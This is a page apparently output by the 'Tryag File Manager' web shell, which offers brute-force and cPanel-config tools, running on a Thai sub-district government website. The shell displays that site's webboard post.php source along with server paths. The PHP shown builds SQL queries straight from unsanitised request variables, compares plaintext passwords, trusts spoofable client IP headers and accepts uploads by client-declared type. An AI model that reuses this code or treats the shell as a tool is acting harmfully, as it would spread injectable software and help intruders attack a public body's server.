Tryag File Manager
Home
||
Turbo Force
||
B-F Config_Cpanel
Current Path :
/
home
/
nayongnua
/
domains
/
nayongnua.go.th
/
public_html
/
webboard
/
Or
Select Your Path :
Upload File :
New :
File
Dir
/home/nayongnua/domains/nayongnua.go.th/public_html/webboard/post.php
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html><!-- InstanceBegin template="/Templates/template_a.dwt.php" codeOutsideHTMLIsLocked="false" --> <head> <!-- InstanceBeginEditable name="doctitle" --> <!-- InstanceEndEditable --> <title>องค์การบริหารส่วนตำบลนาโยงเหนือ หมู่ที่ 4 ถนนนาโยง - ย่านตาขาว ตำบลนาโยงเหนือ อำเภอนาโยง จังหวัดตรัง 92170 : www.nayongnue.go.th</title> <meta http-equiv="Content-Type" content="text/html; charset=windows-874"> <link href="../styles.css" rel="stylesheet" type="text/css"> <!-- InstanceBeginEditable name="head" --><!-- InstanceEndEditable --> <script language="JavaScript" type="text/JavaScript"> <!-- function MM_preloadImages() { //v3.0 var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array(); var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++) if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}} } //--> </script> <script type="text/javascript" language="JavaScript1.2" src="../Templates/stm31.js"></script> <style type="text/css"> <!-- body { margin-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; background-color: #0099FF; } .style2 {color: #CC6633} --> </style></head> <body background="../images/tem_b1.jpg" style="background-repeat:no-repeat; background-position:top"> <div align="center" > <table width="980" border="0" cellpadding="0" cellspacing="0"> <tr> <td valign="top"><div align="center"> <table width="980" border="0" cellpadding="0" cellspacing="0"> <tr> <td valign="top"><div align="center"> <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="980" height="650"> <param name="movie" value="../images/head.swf"> <param name="quality" value="high"> <embed src="../images/head.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="980" height="650"></embed> </object> </div></td> </tr> </table> </div></td> </tr> <tr> <td> <tr> <td valign="top"><div align="center"> <table width="980" border="0" cellpadding="0" cellspacing="0"> <tr> <td height="50" valign="top"> </td> </tr> <tr> <td height="1500" valign="top"><div align="center"><!-- InstanceBeginEditable name="EditRegion3" --> <table width="98%" border="0" cellspacing="0" cellpadding="0"> <tr> <td> </td> </tr> <tr> <td><div align="center"> <? include("config.inc.php"); include("function.php"); // เช็คหมวดของเว็บบอร์ด mysql_connect($host,$user_db,$passwd_db); mysql_query ("SET NAMES 'tis620'"); $c_sql = "select * from webboard_category where cat_name='$Category' "; $c_result = mysql_db_query($dbname,$c_sql); $c_NRow = mysql_num_rows($c_result); $c_row = mysql_fetch_array($c_result); $nlist = $c_row["cat_title"]; if($c_NRow==0) { echo "<center><br>"; echo "<font color=red size=+1> กรุณาระบุ Category ให้ตรงกับที่ web เปิดใช้ด้วยครับ</font>"; echo "<br>"; echo "</center>"; exit(); } // จบการเช็ค if ($_SERVER['HTTP_CLIENT_IP']) { $IP = $_SERVER['HTTP_CLIENT_IP']; } elseif (ereg("[0-9]",$_SERVER["HTTP_X_FORWARDED_FOR"] )) { $IP = $_SERVER["HTTP_X_FORWARDED_FOR"]; } else { $IP = $_SERVER["REMOTE_ADDR"]; } $Member = 0; // ป้องกันการแทรก html กับ ละเครื่องหมาย ' " $QTitle = htmlspecialchars($QTitle); $QNote = htmlspecialchars($QNote); $QName = htmlspecialchars($QName); $QEmail = htmlspecialchars($QEmail); // ป้องกันคำหยาบ $QTitle = CheckRude($QTitle); $QNote = CheckRude($QNote); $QName = CheckRude($QName); $QEmail = CheckRude($QEmail); // ตรวจสอบการแทรกรูปภาพ $txt = array(":b1:", ":b2:",":b3:", ":b4:", ":b5:", ":b6:", ":b7:", ":b8:", ":b9:", ":b10:", ":b11:"); $pic = array("b1.gif","b2.gif","b3.gif","b4.gif","b5.gif","b6.gif","b7.gif","b8.gif","b9.gif","b10.gif","b11.gif"); for ($a=0 ; $a<sizeof($txt) ; $a++) { $QNote = eregi_replace($txt[$a],"<img src=\"pic/$pic[$a]\">",$QNote); } // ตรวจสอบว่า มีการป้อน url หรือ email มาหรือไม่ ถ้ามีให้ทำ link //สำหรับเปลี่ยนอักขระที่กำหนด ให้เป็นแทก html ต่างๆ $QNote = eregi_replace ( "\[b\]", "<b> " , $QNote ) ; $QNote = eregi_replace ( "\[/b\]", " </b>" , $QNote ) ; $QNote = eregi_replace ( "\[i\]", "<i> " , $QNote ) ; $QNote = eregi_replace ( "\[/i\]", " </i>" , $QNote ) ; $QNote = eregi_replace ( "\[u\]", "<u> " , $QNote ) ; $QNote = eregi_replace ( "\[sup\]", "<sup> " , $QNote ) ; $QNote = eregi_replace ( "\[/sup\]", " </sup>" , $QNote ) ; $QNote = eregi_replace ( "\[sub\]", "<sub> " , $QNote ) ; $QNote = eregi_replace ( "\[/sub\]", " </sub>" , $QNote ) ; $QNote = eregi_replace ( "\[/u\]", " </u>" , $QNote ) ; $QNote = eregi_replace ( "\[\-\-\-\]", " " , $QNote ) ; $QNote = eregi_replace ( "\[color=red\]", "<font color=red > " , $QNote ) ; $QNote = eregi_replace ( "\[color=green\]", "<font color=green> " , $QNote ) ; $QNote = eregi_replace ( "\[color=blue\]", "<font color=blue> " , $QNote ) ; $QNote = eregi_replace ( "\[color=orange\]", "<font color=FF6600> " , $QNote ) ; $QNote = eregi_replace ( "\[color=pink\]", "<font color=FF00FF> " , $QNote) ; $QNote = eregi_replace ( "\[color=gray\]", "<font color=999999> " , $QNote ) ; $QNote = eregi_replace ( "\[/color\]", " </font>" , $QNote ) ; $QNote = eregi_replace ( "\[glow\]"," <table style=filter:glow(color=pink, strength=3)> ", $QNote ) ; $QNote = eregi_replace ( "\[/glow\]", " </table>" , $QNote ) ; $QNote = eregi_replace ( "\[shadow\]","<table style=\"filter:shadow(color=pink, direction=left)\"> ", $QNote ) ; $QNote = eregi_replace ( "\[/shadow\]", " </table>" , $QNote ) ; // ให้ขึ้นบันทัดใหม่ กรณีที่มีการเคาะ Enter $QNote = eregi_replace(chr(13)," <br> ", $QNote ); $QNote = eregi_replace("(^|[>[:space:]\n])([[:alnum:]]+)://([^[:space:]]*)([[:alnum:]#?/&=])([<[:space:]\n]|$)","<a href=\"\\2://\\3\\4\" target=\"_blank\">\\2://\\3\\4</a>", $QNote ); $QNote = eregi_replace("([[:alnum:]]+)@([^[:space:]]*)([[:alnum:]])([<[:space:]\n]|$)","<a href=mailto:\\1@\\2\\3\>\\1@\\2\\3</a>", $QNote ); //ตรวจสอบการโพสกระทู้ (ห้ามโพสเกิน จำนวนที่ระบุใน config) CheckFlood($IP); // ตรวจสอบว่าเป็นสมาชิกหรือไม่ $sql = "select User,Password,Email from webboard_member where User='$QName'"; $result = mysql_db_query($dbname,$sql); $NRow = mysql_num_rows($result); $row = mysql_fetch_array($result); $Member = $row["User"]; // ตรวจสอบว่า Password ถูกหรือไม่ if($QName==$row["User"] && $QPass==$row["Password"]) { $Member = 1; if(!$QEmail) { $QEmail = $row["Email"]; } }else { $Member = 0; } if(strcmp($_POST['code_input'],$_POST['code_hidden'])==0){ // ทำการ เพิ่มค่าการโพสของสมาชิก if($Member) { $sql3 = "update webboard_member set m_post=m_post+1 where User='$QName'"; $result3 = mysql_db_query($dbname,$sql3); } else { }; // จบการทำงาน // บันทึกรูปภาพ if(($QNote =='')&&($QName=='')) { echo "<center >"; echo "<font size=+1 color=\"red\">"; echo "ข้อความส่งมาไม่สมบูรณ์อาจใส่ข้อมูลไม่ครบ หรือตกหล่นระหว่างการส่งข้อมูล กรุณาส่งข้อความอีกครั้ง<br><br>"; echo "<font size=+1 color=red >"; echo "<a href='javascript:history.back(1)'>[ กลับไปแก้ไข ] </a>"; echo "</font>"; echo "</center>"; exit(); } if( $QPic !='') { srand((double)microtime()*1000000); $QPic_name=$random_pic = rand(1,9999); # ตรวจสอบความกว้างของรูป $size = getimagesize($QPic); # ตรวจสอบขนาดของ Flash if ( $QPic_type == "application/x-shockwave-flash" ) { if($QPic_size>$flashSize_limit) { echo "<br><b><center><font size=3 color=red >ขนาดของไฟล์ Flash เกิน $flashSize_limit bytes [$flashSize_msg]</font></center></b><br>"; echo "<br><b><center><font size=3 color=red >[ <a href='javascript:history.back(1)'>กลับไปแก้ไข</a> ]</font></center></b>"; exit(); } } else { # ตรวจสอบขนาดของรูป if($QPic_size>$Image_size) { echo "<br><b><center><font size=3 color=red >ขนาดของภาพเกิน $Image_size bytes [$Image_msg]</font></center></b><br>"; echo "<br><b><center><font size=3 color=red >[ <a href='javascript:history.back(1)'>กลับไปแก้ไข</a> ]</font></center></b>"; exit(); } } #แปลงนามสกุล และทำการ upload if ( $QPic_type == "image/gif" ) { $filename = $QPic_name.".gif"; } if ( $QPic_type == "image/bmp" ) { $filename = $QPic_name.".bmp"; } if ( $QPic_type == "image/png" ) { $filename = $QPic_name.".png"; } if ( $QPic_type == "application/x-shockwave-flash" ) { $filename = $QPic_name.".swf"; } elseif (($QPic_type=="image/jpg")||($QPic_type=="image/jpeg")||($QPic_type=="image/pjpeg")) { $filename =strtolower($QPic_name.$random_pic . '.jpg'); } copy ($QPic , "$path/" . $filename ); } elseif ($QPic == "") { echo ""; } // เวลาจะตรงกับเครื่อง server ที่เรารัน $mdate = date("Y-m-d H:i:s"); // ตรวจสอบว่าเป็นสมาชิกหรือไม่ ที่สามารถโพสประกาศได้ $sql2 = "select User from webboard_member where User='$QName' and Password='$QPass' and status='1' "; $result2 = mysql_db_query($dbname,$sql2); $row2 = mysql_fetch_array($result2); $Member2 = $row2["User"]; // เช็ค username ว่าให้สามารถโพสข่าวประกาศได้ไหม if($Member2 && $pst==1) { $mp = 1; } else { $mp = 0; } //สคริปดักกระทู้ขยะก่อนลงฐานข้อมูล /* if(ereg("www",$_POST[QNote]) || ereg("http",$_POST[QNote]) || ereg("<a href",$_POST[QNote]) || ereg("<",$_POST[QNote])){ echo "\n"; echo "<center>"; echo "<BR><BR><a href='javascript:history.back(1)' class='styles2'> กรุณกรอกข้อมูลให้ถูกต้อง</a><BR><BR><BR><BR>"; exit; }*/ // เขียนข้อมูลลง database $sql = "insert into webboard_data (Category,Question,Note,Name,Namer,Member,IP,Email,Date,nphoto,resolution,pst) values ('$Category','$QTitle','$QNote','$QName','$MsgBy','$Member','$IP','$QEmail','$mdate','$filename','$size[0]','$mp')"; $result1 = mysql_db_query($dbname,$sql); mysql_close(); ?> </div></td> </tr> <tr> <td><div align="center"> <table width=60% border=0 bgcolor=#000000 cellpadding=7 cellspacing=1> <tr> <td align=center bgcolor=#ffffff class="styles3"><span class="red">ได้รับข้อมูลแล้วครับ</span><br> <br> หากกลับไปหน้าแรกแล้วคำถามของคุณยังไม่ขึ้นให้ลองกดปุ่ม Refresh/Reload ครับ </font></td> </tr> </table> </div></td> </tr> <tr> <td> </td> </tr> <tr> <td class="styles3"><div align="center">| <a href="webboard.php?Category=<? echo $Category; ?>" class="styles2">แสดงคำถาม</a> || <a href="postq.php?Category=<? echo $Category; ?>" class="styles2">ตั้งกระทู้ใหม่ </a>|</div></td> </tr> <? } else{ echo "<br><b><center><span class=red>กรุณาใส่ค่า Verification code</span></center></b><br>"; echo "<br><b><center><span class=styles1 >[ <a href='javascript:history.back(1)' class=styles2>กลับไปแก้ไข</a> ]</span></center></b>"; } ?> <tr> <td> </td> </tr> </table> <!-- InstanceEndEditable --></div></td> </tr> </table> </div></td> </tr> <tr> <td height="200" valign="top"><table width="980" border="0" cellspacing="0" cellpadding="0"> <tr> <td height="100" valign="top" background="../images/foot.jpg"><div align="center" class="footer"> <p><img src="../images/foot1.png" width="980" height="675" border="0" usemap="#Map6"> <map name="Map3"> <area shape="rect" coords="561,157,826,175" href="http://main.pasworld.co.th/" target="_blank"> </map> </p> <p> </p> </div></td> </tr> </table></td> </tr> </table> </div> <map name="Map"><area shape="rect" coords="464,116,966,154" href="http://main.pasworld.co.th/" target="_blank"> </map> <map name="Map2"><area shape="rect" coords="613,181,964,215" href="http://main.pasworld.co.th/" target="_blank"> </map> <map name="Map4"><area shape="rect" coords="569,179,832,202" href="http://main.pasworld.co.th/" target="_blank"> </map> <map name="Map5"><area shape="rect" coords="335,199,642,224" href="http://main.pasworld.co.th/" target="_blank"> </map> <map name="Map6"><area shape="rect" coords="333,628,642,647" href="http://main.pasworld.co.th/" target="_blank"> </map></body> <!-- InstanceEnd --></html>